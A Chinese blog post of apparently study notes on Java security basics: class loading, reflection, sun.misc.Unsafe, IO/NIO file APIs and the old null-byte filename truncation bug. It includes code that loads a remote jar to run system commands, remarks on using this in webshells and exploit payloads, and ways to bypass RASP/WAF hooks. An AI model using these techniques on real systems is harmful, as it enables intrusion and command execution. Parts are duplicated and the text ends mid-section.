给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
1.java基础
Java平台共分为三个主要版本Java SE(Java Platform, Standard Edition,Java平台标准版)、Java EE(Java Platform Enterprise Edition,Java平台企业版)、和Java ME(Java Platform, Micro Edition,Java平台微型版)。
2. java类
2.1Classloader 类加载机制
Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。
2.2.java类
Java是编译型语言,我们编写的java文件需要编译成后class文件后才能够被JVM运行,学习ClassLoader之前我们先简单了解下Java类。
示例TestHelloWorld.java:
示例TestHelloWorld.java:
package com;/**
* Creator: yz
* Date: 2019/12/17
*/
public class TestHelloWorld {public void hello() {
System.out.println("Hello, World!");}}
编译TestHelloWorld.java:javac TestHelloWorld.java
我们可以通过JDK自带的javap命令反汇编TestHelloWorld.class文件对应的com.anbai.sec.classloader.TestHelloWorld类,以及使用Linux自带的hexdump命令查看TestHelloWorld.class文件二进制内容:
JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码(ByteCode)。
2.3. ClassLoader
一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)、Extension ClassLoader(扩展类加载器)、App ClassLoader(系统类加载器),AppClassLoader是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader。
值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
ClassLoader类有如下核心方法:
1.
loadClass(加载指定的Java类)
2.
findClass(查找指定的Java类)
3.
findLoadedClass(查找JVM已经加载过的类)
4.
defineClass(定义一个Java类)
5.
resolveClass(链接指定的Java类)
2.4 Java类动态加载方式
Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用
Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法
2.5. ClassLoader类加载流程
理解Java类加载机制并非易事,这里我们以一个Java的HelloWorld来学习ClassLoader。
ClassLoader加载com.anbai.sec.classloader.TestHelloWorld类重要流程如下:
1.
ClassLoader会调用public Class<?> loadClass(String name)方法加载com.anbai.sec.classloader.TestHelloWorld类。
2.
调用findLoadedClass方法检查TestHelloWorld类是否已经初始化,如果JVM已初始化过该类则直接返回类对象。
3.
如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestHelloWorld类,否则使用JVM的Bootstrap ClassLoader加载。
4.
如果上一步无法加载TestHelloWorld类,那么调用自身的findClass方法尝试加载TestHelloWorld类。
5.
如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestHelloWorld类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类。
6.
如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false。
7.
返回一个被JVM加载后的java.lang.Class类对象。
2.6 自定义ClassLoader
java.lang.ClassLoader是所有的类加载器的父类,
java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的
java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。
既然已知ClassLoader具备了加载类的能力,那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载TestHelloWorld类为例)并调用hello方法。
如果com.anbai.sec.classloader.TestHelloWorld类存在的情况下,我们可以使用如下代码即可实现调用hello方法并输出
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.println(str);
但是如果com.anbai.sec.classloader.TestHelloWorld根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。
TestClassLoader示例代码:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令
String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}
利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密了)。
2.7: URLClassLoader
URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
- TestURLClassLoader.java示例:
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令
String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}}
远程的cmd.jar中就一个CMD.class文件,对应的编译之前的代码片段如下:
import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/18
*/
public class CMD {public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}}
程序执行结果如下:
README.md
gitbook
javaweb-sec-source
javaweb-sec.iml
jni
pom.xml
3 j ava反射机制:
3.1 java反射机制
Java反射(Reflection)是Java非常重要的动态特性,通过使用反射我们不仅可以获取到任何类的成员方法(Methods)、成员变量(Fields)、构造方法(Constructors)等信息,还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。Java反射机制是Java语言的动态性的重要体现,也是Java的各种框架底层实现的灵魂。
3.2 获取class对象:
Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:
1.类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。
2. Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
3. classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");
获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取Runtime类Class对象代码片段:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
通过以上任意一种方式就可以获取java.lang.Runtime类的Class对象了,反射调用内部类的时候需要使用来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.Test来代替.,如com.anbai.Test类有一个叫做Hello的内部类,那么调用的时候就应该将类名写成:com.anbai.TestHello。
3.2 反射java.lang.Runtime
java.lang.Runtime 因为有一个exec方法可以执行本地命令,所以在很多payload都可以看到反射调用Runtime嘞来执行本地系统命令,学习如何反射Runtime类可以让我理解反射的一些基本用法
不实用反射执行本地命令的代码片段:
// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(),"UTF-8"));
可以看到使用一行代码完成本地吗执行操作,如果是使用反射就比较麻烦了,我们不得不需要间接性的调用Runtime的exec方法
反射Runtime执行本地命令代码片段:
// 获取Runtime类对象Class runtimeClass1 = Class.forName("java.lang.Runtime");// 获取构造方法Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);// 创建Runtime类示例,等价于 Runtime rt = new Runtime();Object runtimeInstance = constructor.newInstance();// 获取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);// 调用exec方法,等价于 rt.exec(cmd);Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 获取命令执行结果InputStream in = process.getInputStream();// 输出命令执行结果System.out.println(IOUtils.toString(in, "UTF-8"));
反射调用Runtime实现本地命令执行的流程如下:
1.
反射获取Runtime类对象(Class.forName(“java.lang.Runtime”))。
2.
使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。
3.
获取Runtime类的exec(String)方法(runtimeClass1.getMethod(“exec”, String.class)😉。
4.
调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。
上面的代码每一步都写了非常清晰的注释,接下来我们将进一步深入的了解下每一步具体含义。
反射创建类实例
在Java的任何一个类都必须有一个或多个构造方法,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。
- Runtime类构造方法示例代码片段:
public class Runtime{
/** Don't let anyone else instantiate this class */
private Runtime(){}}
从上面的Runtime类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以我们没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime();的方式创建Runtime对象,但示例中我们借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象。
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组,如:clazz.getDeclaredConstructor(String.class, String.class)。
如果我们想获取类的所有构造方法可以使用:clazz.getDeclaredConstructors来获取一个Constructor数组。
获取到Constructor以后我们可以通过constructor.newInstance()来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:constructor.newInstance(“admin”, “123456”)。当我们没有访问构造方法权限时我们应该调用constructor.setAccessible(true)修改访问权限就可以成功的创建出类实例了。
4. sun.misc.Unsafe
4.1 sun.misc.Unsafe
sun.misc.Unsafe是Java底层API(仅限Java内部使用,反射可调用)提供的一个神奇的Java类,Unsafe提供了非常底层的内存、CAS、线程调度、类、对象等操作、Unsafe正如它的名字一样它提供的几乎所有的方法都是不安全的,本节只讲解如何使用Unsafe定义Java类、创建类实例。
4.2 获取Unsafe对象
Unsafe是Java内部API,外部是禁止调用的,在编译Java类时如果检测到引用了Unsafe类也会有禁止使用的警告:Unsafe是内部专用 API, 可能会在未来发行版中删除。
sun.misc.Unsafe代码片段:
在这里插入代码片
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;public final class Unsafe {private static final Unsafe theUnsafe;static {theUnsafe = new Unsafe();省去其他代码......}private Unsafe() {}@CallerSensitive <!--使用CallerSensitive后,getCallerClass不再用固定深度去寻找actual caller(“我”),而是把所有跟反射相关的接口方法都标注上CallerSensitive,搜索时凡看到该注解都直接跳过,防止恶意构造双重反射来提升权限-->public static Unsafe getUnsafe() {Class var0 = Reflection.getCallerClass();if (var0.getClassLoader() != null) {throw new SecurityException("Unsafe");} else {return theUnsafe;}}省去其他代码......
}
由上代码片段可以看到,Unsafe类是一个不能被继承的类且不能直接通过new的方式创建Unsafe类实例,如果通过getUnsafe方法获取Unsafe实例还会检查类加载器,默认只允许Bootstrap Classloader调用。
既然无法直接通过Unsafe.getUnsafe()的方式调用,那么可以使用反射的方式去获取Unsafe类实例。
- 反射获取Unsafe类实例代码片段:
// 反射获取Unsafe的theUnsafe成员变量Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);// 反射获取theUnsafe成员变量值Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
当然我们也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:
// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();// 修改构造方法访问权限
constructor.setAccessible(true);// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInsta
nce();
4.3 allocateInstance无视构造方法创建类实例
假设我们有一个叫com.anbai.sec.unsafe.UnSafeTest的类,因为某种原因我们不能直接通过反射的方式去创建UnSafeTest类实例,那么这个时候使用Unsafe的allocateInstance方法就可以绕过这个限制了。
- UnSafeTest代码片段:
UnSafeTest代码片段:public class UnSafeTest {private UnSafeTest() {// 假设RASP在这个构造方法中插入了Hook代码,我们可以利用Unsafe来创建类实例System.out.println("init...");}
}
使用Unsafe创建UnSafeTest对象:
// 使用Unsafe创建UnSafeTest类实例
UnSafeTest test = (UnSafeTest) unsafe1.allocateInstance(UnSafeTest.class);
Google的GSON库在JSON反序列化的时候就使用这个方式来创建类实例,在渗透测试中也会经常遇到这样的限制,比如RASP限制了java.io.FileInputStream类的构造方法导致我们无法读文件或者限制了UNIXProcess/ProcessImpl类的构造方法导致我们无法执行本地命令等。
4.4 defineClass直接调用JVM创建类对象
ClassLoader章节我们讲了通过ClassLoader类的defineClass0/1/2方法我们可以直接向JVM中注册一个类,如果ClassLoader被限制的情况下我们还可以使用Unsafe的defineClass方法来实现同样的功能。
Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:
public native Class defineClass(String var1, byte[] var2, int var3, int var4);
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
- 使用Unsafe创建TestHelloWorld对象:
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME,
TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
- 或调用需要传入类加载器和保护域的方法:
// 获取系统的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();// 创建默认的保护域
ProtectionDomain domain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), null, classLoader, null
);// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length, classLoader, domain
);
Unsafe 还可以通过 defineAnonymousClass 方法创建内部类,此处不再多做测试
注意:
这个实例仅适用于 java 8 以前的版本,在java 8 中应该使用调用需要传类加载器和保护域的那个方法。 java 11 开始 Unsafe 已经把defineClass 方法移除了 (defineAnonmousClass方法还在), 虽然可以使用java.lang.invoke.MethodHandles.Loosup.defineClass 代替,但是 MethodHandles 只是间接调用了 ClassLoader 的 defineClass。 所以一切都回到了ClassLoader
5.java文件系统
众所周知Java是一个跨平台的语言,不同的操作系统有着完全不一样的文件系统和特性。JDK会根据不同的操作系统(AIX,Linux,MacOSX,Solaris,Unix,Windows)编译成不同的版本。
在Java语言中对文件的任何操作最终都是通过JNI调用C语言函数实现的。Java为了能够实现跨操作系统对文件进行操作抽象了一个叫做FileSystem的对象出来,不同的操作系统只需要实现起抽象出来的文件操作方法即可实现跨平台的文件操作了。
6.java FileSystem
6.1 Java FileSystem
Java SE 中内置了两类文件系统: java.io 和 java.nio, java.nio 实现的是 sun.nio , 文件系统底层的API实现:
6.2 Java.IO 文件系统
Java抽象出了一个叫做文件系统的对象:java.io.FileSystem,不同的操作系统有不一样的文件系统,例如Windows和Unix就是两种不一样的文件系统: java.io.UnixFileSystem、java.io.WinNTFileSystem。
java.io.FileSystem是一个抽象类,它抽象了对文件的操作,不同操作系统版本的JDK会实现其抽象的方法从而也就实现了跨平台的文件的访问操作。
示例中的java.io.UnixFileSystem最终会通过JNI调用native方法来实现对文件的操作:
由此我们可以得出Java只不过是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的。
不过需要特别注意一下几点:
1.并不是所有的文件操作都在java.io.FileSystem中定义,文件的读取最终调用的是
java.io.FileInputStream#read0、readBytes、
java.io.RandomAccessFile#read0、readBytes,
而写文件调用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。
2.Java有两类文件系统API!一个是基于阻塞模式的IO的文件系统,另一是JDK7+基于NIO.2的文件系统。
6.3 java NIO.2文件系统
Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。java.nio.file.spi.FileSystemProvider对文件的封装和java.io.FileSystem同理。
NIO的文件操作在不同的系统的最终实现类也是不一样的,比如Mac的实现类是: sun.nio.fs.UnixNativeDispatcher,
而Windows的实现类是sun.nio.fs.WindowsNativeDispatcher。
合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystem的WAF/RASP。
7.Java IO/NIO多种读写文件方式
7.1
上一章节我们提到了Java 对文件的读写分为了基于阻塞模式的IO和非阻塞模式的NIO,本章节我将列举一些我们常用于读写文件的方式。
我们通常读写文件都是使用的阻塞模式,与之对应的也就是java.io.FileSystem。java.io.FileInputStream类提供了对文件的读取功能,Java的其他读取文件的方法基本上都是封装了java.io.FileInputStream类,比如:java.io.FileReader。
7.2 FileInputStream
使用FileInputStream实现文件读取Demo:
package com.anbai.sec.filesystem;import java.io.*;/**
*
*
*/
public class FileInputStreamDemo {public static void main(String[] args) throws IOException {
File file = new File("D:\\test/test.txt");// 打开文件对象并创建文件输入流
FileInputStream fis = new FileInputStream(file);// 定义每次输入流读取到的字节数对象
int a = 0;// 定义缓冲区大小
byte[] bytes = new byte[1024];// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循环读取文件内容
while ((a = fis.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}System.out.println(out.toString());
}}
输出结果如下:
调用链如下:
java.io.FileInputStream.readBytes(FileInputStream.java:219)
java.io.FileInputStream.read(FileInputStream.java:233)
com.anbai.sec.filesystem.FileInputStreamDemo.main(FileInputStreamDemo.java:27)
其中的readBytes是native方法,文件的打开、关闭等方法也都是native方法:
naticve方法: 一个Native Method就是一个java调用非java代码的接口。一个Native Method是这样一个java的方法:该方法的实现由非java语言实现,比如C
- java.io.FileInputStream类对应的native实现如下:
JNIEXPORT void JNICALL
Java_java_io_FileInputStream_open0(JNIEnv *env, jobject this, jstring path) {fileOpen(env, this, path, fis_fd, O_RDONLY);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_read0(JNIEnv *env, jobject this) {return readSingle(env, this, fis_fd);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_readBytes(JNIEnv *env, jobject this,jbyteArray bytes, jint off, jint len) {return readBytes(env, this, bytes, off, len, fis_fd);
}JNIEXPORT jlong JNICALL
Java_java_io_FileInputStream_skip0(JNIEnv *env, jobject this, jlong toSkip) {jlong cur = jlong_zero;jlong end = jlong_zero;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if ((cur = IO_Lseek(fd, (jlong)0, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");} else if ((end = IO_Lseek(fd, toSkip, (jint)SEEK_CUR)) == -1) {JNU_ThrowIOExceptionWithLastError(env, "Seek error");}return (end - cur);
}JNIEXPORT jint JNICALL
Java_java_io_FileInputStream_available0(JNIEnv *env, jobject this) {jlong ret;FD fd = GET_FD(this, fis_fd);if (fd == -1) {JNU_ThrowIOException (env, "Stream Closed");return 0;}if (IO_Available(fd, &ret)) {if (ret > INT_MAX) {ret = (jlong) INT_MAX;} else if (ret < 0) {ret = 0;}return jlong_to_jint(ret);}JNU_ThrowIOExceptionWithLastError(env, NULL);return 0;
}
完整代码参考OpenJDK:openjdk/src/java.base/share/native/libjava/FileInputStream.c
7.3 FileOutputStream
- 使用FileOutputStream实现写文件Demo:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FileOutputStreamDemo {public static void main(String[] args) throws IOException {// 定义写入文件路径File file = new File("D://test/test.txt");// 定义待写入文件内容String content = "Hello World.";// 创建FileOutputStream对象FileOutputStream fos = new FileOutputStream(file);// 写入内容二进制到文件fos.write(content.getBytes());fos.flush();fos.close();}}
代码逻辑比较简单: 打开文件->写内容->关闭文件,调用链和底层实现分析请参考FileInputStream。
7.4 RandomAccessFile
Java提供了一个非常有趣的读取文件内容的类: java.io.RandomAccessFile,这个类名字面意思是任意文件内容访问,特别之处是这个类不仅可以像java.io.FileInputStream一样读取文件,而且还可以写文件。
RandomAccessFile读取文件测试代码:
package com.anbai.sec.filesystem;import java.io.*;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");try {
// 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");// 定义每次输入流读取到的字节数对象
int a = 0;// 定义缓冲区大小
byte[] bytes = new byte[1024];// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();// 循环读取文件内容
while ((a = raf.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
}}
任意文件读取特性体现在如下方法:
// 获取文件描述符
public final FileDescriptor getFD() throws IOException// 获取文件指针
public native long getFilePointer() throws IOException;// 设置文件偏移量
private native void seek0(long pos) throws IOException;
java.io.RandomAccessFile类中提供了几十个readXXX方法用以读取文件系统,最终都会调用到read0或者readBytes方法,我们只需要掌握如何利用RandomAccessFile读/写文件就行了。
- RandomAccessFile写文件测试代码:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;/**
* Creator: yz
* Date: 2019/12/4
*/
public class RandomAccessWriteFileDemo {public static void main(String[] args) {
File file = new File("D://test/test.txt");// 定义待写入文件内容
String content = "Hello World.";try {
// 创建RandomAccessFile对象,rw表示以读写模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "rw");// 写入内容二进制到文件
raf.write(content.getBytes());
raf.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
7.5 FileSystemProvider
前面章节提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我们可以利用支持异步的通道(Channel)模式读取文件内容。
- FileSystemProvider读取文件内容示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesDemo {public static void main(String[] args) {
// 通过File对象定义读取的文件路径
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定义读取的文件路径
Path path = Paths.get("D://test/test.txt");try {
byte[] bytes = Files.readAllBytes(path);
System.out.println(new String(bytes));
} catch (IOException e) {
e.printStackTrace();
}
}}
java.nio.file.Files是JDK7开始提供的一个对文件读写取非常便捷的API,其底层实在是调用了java.nio.file.spi.FileSystemProvider来实现对文件的读写的。最为底层的实现类是sun.nio.ch.FileDispatcherImpl#read0。
基于NIO的文件读取逻辑是:
- 打开FileChannel->读取Channel内容。
sun.nio.ch.FileChannelImpl.<init>(FileChannelImpl.java:89)
sun.nio.ch.FileChannelImpl.open(FileChannelImpl.java:105)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:137)
sun.nio.fs.UnixChannelFactory.newFileChannel(UnixChannelFactory.java:148)
sun.nio.fs.UnixFileSystemProvider.newByteChannel(UnixFileSystemProvider.java:212)
java.nio.file.Files.newByteChannel(Files.java:361)
java.nio.file.Files.newByteChannel(Files.java:407)
java.nio.file.Files.readAllBytes(Files.java:3152)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
文件读取的调用链为:
sun.nio.ch.FileChannelImpl.read(FileChannelImpl.java:147)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:65)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:109)
sun.nio.ch.ChannelInputStream.read(ChannelInputStream.java:103)
java.nio.file.Files.read(Files.java:3105)
java.nio.file.Files.readAllBytes(Files.java:3158)
com.anbai.sec.filesystem.FilesDemo.main(FilesDemo.java:23)
- FileSystemProvider写文件示例:
package com.anbai.sec.filesystem;import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;/**
* Creator: yz
* Date: 2019/12/4
*/
public class FilesWriteDemo {public static void main(String[] args) {
// 通过File对象定义读取的文件路径
// File file = new File("/etc/passwd");
// Path path1 = file.toPath();// 定义读取的文件路径
Path path = Paths.get("D://test/test.txt");// 定义待写入文件内容
String content = "Hello World.";try {
// 写入内容二进制到文件
Files.write(path, content.getBytes());
} catch (IOException e) {
e.printStackTrace();
}
}}
7.6 文件读写总结:
Java内置的文件读取方式大概就是这三种方式,其他的文件读取API可以说都是对这几种方式的封装而已(依赖数据库、命令执行、自写JNI接口不算,本人个人理解,如有其他途径还请告知)。本章我们通过深入基于IO和NIO的Java文件系统底层API,希望大家能够通过以上Demo深入了解到文件读写的原理和本质。
8 Java文件名空字节截断漏洞
8.1 Java文件名空字节截断漏洞
空字节截断漏洞漏洞在诸多编程语言中都存在,究其根本是Java在调用文件系统(C实现)读写文件时导致的漏洞,并不是Java本身的安全问题。不过好在高版本的JDK在处理文件时已经把空字节文件名进行了安全检测处理。
8.2 文件名空字节漏洞历史
2013年9月10日发布的Java SE 7 Update 40修复了空字节截断这个历史遗留问题。此次更新在java.io.File类中添加了一个isInvalid方法,专门检测文件名中是否包含了空字节
/**
* Check if the file has an invalid path. Currently, the inspection of
* a file path is very limited, and it only covers Nul character check.
* Returning true means the path is definitely invalid/garbage. But
* returning false does not guarantee that the path is valid.
*
* @return true if the file path is invalid.
*/
final boolean isInvalid() {if (status == null) {status = (this.path.indexOf('\u0000') < 0) ? PathStatus.CHECKED: PathStatus.INVALID;}return status == PathStatus.INVALID;
}
修复的JDK版本所有跟文件名相关的操作都调用了isInvalid方法检测,防止文件名空字节截断。
修复前(Java SE 7 Update 25)和修复后(Java SE 7 Update 40)的对比会发现Java SE 7 Update 25中的java.io.File类中并未添加\u0000的检测。
受空字节截断影响的JDK版本范围:JDK<1.7.40,单是JDK7于2011年07月28日发布至2013年09月10日发表Java SE 7 Update 40这两年多期间受影响的就有16个版本,值得注意的是JDK1.6虽然JDK7修复之后发布了数十个版本,但是并没有任何一个版本修复过这个问题,而JDK8发布时间在JDK7修复以后所以并不受此漏洞影响。
参考:
https://bugs.java.com/bugdatabase/view_bug.do?bug_id=8014846
https://zh.wikipedia.org/wiki/Java版本歷史
https://www.oracle.com/technetwork/java/javase/archive-139210.html
8.3 Java文件名空截断测试
测试类FileNullBytes.java:
package com.anbai.sec.filesystem;import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;/**
* @author yz
*/
public class FileNullBytes {public static void main(String[] args) {
try {
String fileName = "D://test/test.txt\u0000.jpg";
FileOutputStream fos = new FileOutputStream(new File(fileName));
fos.write("Test".getBytes());
fos.flush();
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}}
使用JDK1.7.0.25测试成功截断文件名:
使用JDK1.7.0.80测试写文件截断时抛出java.io.FileNotFoundException: Invalid file path异常:
8.4 空字节截断利用场景
